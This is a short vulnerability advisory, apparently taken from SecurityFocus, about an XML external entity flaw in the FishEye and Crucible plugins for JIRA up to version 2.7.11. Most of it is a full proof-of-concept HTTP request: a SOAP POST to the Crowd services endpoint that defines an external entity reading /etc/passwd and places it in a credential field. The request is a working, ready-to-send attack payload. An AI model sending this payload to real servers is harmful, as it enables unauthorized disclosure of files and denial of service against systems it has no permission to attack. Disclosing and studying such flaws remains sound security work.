source: http://www.securityfocus.com/bid/53603/info

The FishEye and Crucible plugins for JIRA are prone to an unspecified security vulnerability because they fail to properly handle crafted XML data.

Exploiting this issue allows remote attackers to cause denial-of-service conditions or to disclose local sensitive files in the context of an affected application.

FishEye and Crucible versions up to and including 2.7.11 are vulnerable. 

Burp Repeater
Host: somehost.com
Port 443


POST /crowd/services/test HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: ""
User-Agent: Jakarta Commons-HttpClient/3.1
Host: somehost.com
Content-Length: 2420

<!DOCTYPE foo [<!ENTITY xxec6079 SYSTEM "file:///etc/passwd"> ]><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:SecurityServer" xmlns:aut="http://authentication.integration.crowd.atlassian.com" xmlns:soap="http://soap.integration.crowd.atlassian.com">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:addAllPrincipals>
         <urn:in0>
            <!--Optional:-->
            <aut:name>?</aut:name>
            <!--Optional:-->
            <aut:token>?</aut:token>
         </urn:in0>
         <urn:in1>
            <!--Zero or more repetitions:-->
            <soap:
SOAPPrincipalWithCredential>
               <!--Optional:-->
               <soap:passwordCredential>
                  <!--Optional:-->
                  <aut:credential>?</aut:credential>
                  <!--Optional:-->
                  <aut:encryptedCredential>?&xxec6079;</aut:encryptedCredential>
               </soap:passwordCredential>
               <!--Optional:-->
               <soap:principal>
                  <!--Optional:-->
                  <soap:ID>?</soap:ID>
                  <!--Optional:-->
                  <soap:active>?</soap:active>
                  <!--Optional:-->
                  <soap:attributes>
                     <!--Zero or more repetitions:-->
                     <soap:SOAPAttribute>
                        <!--Optional:-->
                        <soap:name>?</soap:name>
                        <!--Optional:-->
                        <soap:values>
                           <!--Zero or more repetitions:-->
                           <urn:string>?</urn:string>
                        </soap:values>
                     </soap:SOAPAttribute>
                  </soap:attributes>
                  <!--Optional:-->
                  <soap:conception>?</soap:conception>
                  <!--Optional:-->
                  <soap:description>?</soap:description>
                  <!--Optional:-->
                  <soap:directoryId>?</soap:directoryId>
                  <!--Optional:-->
                  <soap:lastModified>?</soap:lastModified>
                  <!--Optional:-->
                  <soap:name>?</soap:name>
               </soap:principal>
            </soap:SOAPPrincipalWithCredential>
         </urn:in1>
      </urn:addAllPrincipals>
   </soapenv:Body>
</soapenv:Envelope>